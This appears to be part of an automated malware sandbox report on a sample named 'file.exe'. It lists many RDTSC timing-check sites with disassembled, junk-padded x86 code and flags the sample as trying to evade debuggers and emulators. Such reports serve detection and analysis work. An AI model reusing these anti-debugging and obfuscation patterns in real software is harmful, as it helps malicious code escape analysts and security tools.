Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0EBD second address: 4DD0F50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e call 00007FB8686220D2h 0x00000013 pop ecx 0x00000014 mov edx, 72C9FB06h 0x00000019 popad 0x0000001a mov di, C192h 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007FB8686220D8h 0x00000025 xchg eax, ebp 0x00000026 pushad 0x00000027 movzx ecx, bx 0x0000002a pushfd 0x0000002b jmp 00007FB8686220D3h 0x00000030 adc ch, FFFFFFEEh 0x00000033 jmp 00007FB8686220D9h 0x00000038 popfd 0x00000039 popad 0x0000003a mov ebp, esp 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FB8686220CDh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F50 second address: 4DD0F56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F56 second address: 4DD0F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F5A second address: 4DD0F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E002E2 second address: 4E002E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E002E6 second address: 4E002EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E002EA second address: 4E002F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E002F0 second address: 4E00309 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00309 second address: 4E0030F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0030F second address: 4E00361 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB869324F25h 0x00000008 pushfd 0x00000009 jmp 00007FB869324F20h 0x0000000e jmp 00007FB869324F25h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FB869324F1Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00361 second address: 4E003D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB8686220D7h 0x00000009 adc ax, 276Eh 0x0000000e jmp 00007FB8686220D9h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b jmp 00007FB8686220CCh 0x00000020 xchg eax, ecx 0x00000021 jmp 00007FB8686220D0h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FB8686220CDh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E003D1 second address: 4E003E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E003E6 second address: 4E00446 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 3142h 0x00000007 push edi 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ecx 0x0000000d pushad 0x0000000e call 00007FB8686220CBh 0x00000013 mov ebx, ecx 0x00000015 pop esi 0x00000016 mov si, dx 0x00000019 popad 0x0000001a mov eax, dword ptr [774365FCh] 0x0000001f jmp 00007FB8686220D7h 0x00000024 test eax, eax 0x00000026 jmp 00007FB8686220D6h 0x0000002b je 00007FB8DABD55F2h 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 movzx eax, bx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00446 second address: 4E004B3 instructions: 0x00000000 rdtsc 0x00000002 mov ax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FB869324F25h 0x0000000d sbb esi, 25341E86h 0x00000013 jmp 00007FB869324F21h 0x00000018 popfd 0x00000019 popad 0x0000001a mov ecx, eax 0x0000001c jmp 00007FB869324F1Eh 0x00000021 xor eax, dword ptr [ebp+08h] 0x00000024 pushad 0x00000025 movsx edx, cx 0x00000028 push esi 0x00000029 mov di, B7CAh 0x0000002d pop edx 0x0000002e popad 0x0000002f and ecx, 1Fh 0x00000032 jmp 00007FB869324F1Eh 0x00000037 ror eax, cl 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004B3 second address: 4E004B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004B7 second address: 4E004BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004BD second address: 4E004F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007FB8686220D0h 0x0000000f retn 0004h 0x00000012 nop 0x00000013 mov esi, eax 0x00000015 lea eax, dword ptr [ebp-08h] 0x00000018 xor esi, dword ptr [00632014h] 0x0000001e push eax 0x0000001f push eax 0x00000020 push eax 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 push eax 0x00000025 call 00007FB86CE324EFh 0x0000002a push FFFFFFFEh 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004F1 second address: 4E004F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004F7 second address: 4E004FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E004FD second address: 4E0053A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, 5EF0C9EAh 0x00000011 pushfd 0x00000012 jmp 00007FB869324F1Bh 0x00000017 xor si, 4A8Eh 0x0000001c jmp 00007FB869324F29h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0053A second address: 4E0054A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8686220CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0054A second address: 4E00584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007FB86DB353A2h 0x00000010 mov edi, edi 0x00000012 jmp 00007FB869324F27h 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FB869324F25h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00584 second address: 4E005A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005A0 second address: 4E005A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005A4 second address: 4E005BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005BE second address: 4E005C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005C3 second address: 4E005D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b mov ebx, 25098F58h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E005D3 second address: 4E00627 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FB869324F1Dh 0x0000000c adc ah, 00000046h 0x0000000f jmp 00007FB869324F21h 0x00000014 popfd 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007FB869324F1Eh 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB869324F27h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00627 second address: 4E0063F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8686220D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB015A second address: 4DB0169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0169 second address: 4DB016F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB016F second address: 4DB0198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB869324F25h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0198 second address: 4DB01A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8686220CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB01A8 second address: 4DB0237 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007FB869324F1Ch 0x0000000f pop edi 0x00000010 mov ebx, esi 0x00000012 popad 0x00000013 xchg eax, esi 0x00000014 jmp 00007FB869324F28h 0x00000019 mov esi, dword ptr [ebp+08h] 0x0000001c pushad 0x0000001d mov di, si 0x00000020 pushfd 0x00000021 jmp 00007FB869324F1Ah 0x00000026 jmp 00007FB869324F25h 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, edi 0x0000002e jmp 00007FB869324F1Eh 0x00000033 push eax 0x00000034 jmp 00007FB869324F1Bh 0x00000039 xchg eax, edi 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FB869324F25h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0237 second address: 4DB0260 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 push ecx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007FB8686220D7h 0x00000015 pop eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0260 second address: 4DB0282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FB8DB9232B5h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 movzx ecx, dx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0282 second address: 4DB02D8 instructions: 0x00000000 rdtsc 0x00000002 mov bx, F0FCh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov di, 20E8h 0x0000000c popad 0x0000000d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000014 jmp 00007FB8686220D7h 0x00000019 je 00007FB8DAC20444h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov cl, dl 0x00000024 pushfd 0x00000025 jmp 00007FB8686220CCh 0x0000002a sbb esi, 4ABCFE78h 0x00000030 jmp 00007FB8686220CBh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB02D8 second address: 4DB02F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB869324F24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB02F0 second address: 4DB0334 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [esi+44h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushfd 0x00000014 jmp 00007FB8686220D1h 0x00000019 sub eax, 6991F876h 0x0000001f jmp 00007FB8686220D1h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0334 second address: 4DB03E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB869324F27h 0x00000009 xor ah, FFFFFFAEh 0x0000000c jmp 00007FB869324F29h 0x00000011 popfd 0x00000012 mov di, si 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 or edx, dword ptr [ebp+0Ch] 0x0000001b jmp 00007FB869324F1Ah 0x00000020 test edx, 61000000h 0x00000026 jmp 00007FB869324F20h 0x0000002b jne 00007FB8DB923209h 0x00000031 pushad 0x00000032 mov dx, cx 0x00000035 push esi 0x00000036 movsx edx, cx 0x00000039 pop eax 0x0000003a popad 0x0000003b test byte ptr [esi+48h], 00000001h 0x0000003f pushad 0x00000040 call 00007FB869324F27h 0x00000045 mov ecx, 5C095CEFh 0x0000004a pop ecx 0x0000004b jmp 00007FB869324F25h 0x00000050 popad 0x00000051 jne 00007FB8DB9231DAh 0x00000057 pushad 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08A1 second address: 4DA08C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08C5 second address: 4DA08C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08C9 second address: 4DA08CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08CF second address: 4DA08E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB869324F21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08E4 second address: 4DA0902 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0902 second address: 4DA0906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0906 second address: 4DA090A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA090A second address: 4DA0910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0910 second address: 4DA09C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov esi, 30DAD9D3h 0x00000010 mov eax, 6BEF402Fh 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 mov eax, 09710627h 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FB8686220CAh 0x00000025 sbb ax, 5D58h 0x0000002a jmp 00007FB8686220CBh 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007FB8686220D8h 0x00000036 sbb si, 67B8h 0x0000003b jmp 00007FB8686220CBh 0x00000040 popfd 0x00000041 popad 0x00000042 popad 0x00000043 and esp, FFFFFFF8h 0x00000046 pushad 0x00000047 call 00007FB8686220D4h 0x0000004c movzx eax, di 0x0000004f pop ebx 0x00000050 movzx eax, di 0x00000053 popad 0x00000054 push ecx 0x00000055 pushad 0x00000056 pushad 0x00000057 jmp 00007FB8686220D0h 0x0000005c pushad 0x0000005d popad 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 push ecx 0x00000062 pop edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09C1 second address: 4DA09C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09C5 second address: 4DA09D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 68ECA666h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09D8 second address: 4DA0AC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB869324F26h 0x00000009 and esi, 1F527608h 0x0000000f jmp 00007FB869324F1Bh 0x00000014 popfd 0x00000015 mov ecx, 581A547Fh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, esi 0x0000001e jmp 00007FB869324F22h 0x00000023 push eax 0x00000024 jmp 00007FB869324F1Bh 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b call 00007FB869324F24h 0x00000030 pushfd 0x00000031 jmp 00007FB869324F22h 0x00000036 and ecx, 0F3915F8h 0x0000003c jmp 00007FB869324F1Bh 0x00000041 popfd 0x00000042 pop eax 0x00000043 pushfd 0x00000044 jmp 00007FB869324F29h 0x00000049 adc eax, 5EA99A96h 0x0000004f jmp 00007FB869324F21h 0x00000054 popfd 0x00000055 popad 0x00000056 mov esi, dword ptr [ebp+08h] 0x00000059 jmp 00007FB869324F1Eh 0x0000005e sub ebx, ebx 0x00000060 jmp 00007FB869324F21h 0x00000065 test esi, esi 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a mov dh, ACh 0x0000006c mov edi, esi 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0AC8 second address: 4DA0B2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FB8DAC27977h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FB8686220CCh 0x00000016 jmp 00007FB8686220D5h 0x0000001b popfd 0x0000001c movzx esi, di 0x0000001f popad 0x00000020 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FB8686220D6h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B2A second address: 4DA0B40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B40 second address: 4DA0B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B44 second address: 4DA0B98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007FB8DB92A764h 0x00000010 jmp 00007FB869324F20h 0x00000015 test byte ptr [77436968h], 00000002h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushfd 0x00000020 jmp 00007FB869324F1Ch 0x00000025 jmp 00007FB869324F25h 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B98 second address: 4DA0BA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BA2 second address: 4DA0BE1 instructions: 0x00000000 rdtsc 0x00000002 mov ah, DEh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007FB8DB92A723h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov bx, si 0x00000013 pushfd 0x00000014 jmp 00007FB869324F28h 0x00000019 or eax, 07D57288h 0x0000001f jmp 00007FB869324F1Bh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BE1 second address: 4DA0C79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 jmp 00007FB8686220CBh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov edx, dword ptr [ebp+0Ch] 0x00000011 pushad 0x00000012 call 00007FB8686220D4h 0x00000017 pushfd 0x00000018 jmp 00007FB8686220D2h 0x0000001d and ch, 00000048h 0x00000020 jmp 00007FB8686220CBh 0x00000025 popfd 0x00000026 pop esi 0x00000027 movsx edx, ax 0x0000002a popad 0x0000002b xchg eax, ebx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007FB8686220CEh 0x00000033 add ecx, 4CA5A9A8h 0x00000039 jmp 00007FB8686220CBh 0x0000003e popfd 0x0000003f mov esi, 0D53389Fh 0x00000044 popad 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FB8686220D7h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C79 second address: 4DA0C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C7D second address: 4DA0C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D78 second address: 4DA0D7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D7E second address: 4DA0D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D82 second address: 4DA0D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D86 second address: 4DA0DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 jmp 00007FB8686220D7h 0x0000000e mov esp, ebp 0x00000010 jmp 00007FB8686220D6h 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB8686220D7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0DD8 second address: 4DA0DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB869324F24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0D19 second address: 4DB0D1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0D1E second address: 4DB0D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, ax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FB869324F26h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FB869324F1Dh 0x0000001a pushfd 0x0000001b jmp 00007FB869324F20h 0x00000020 and si, A988h 0x00000025 jmp 00007FB869324F1Bh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0D74 second address: 4DB0D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8686220D4h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

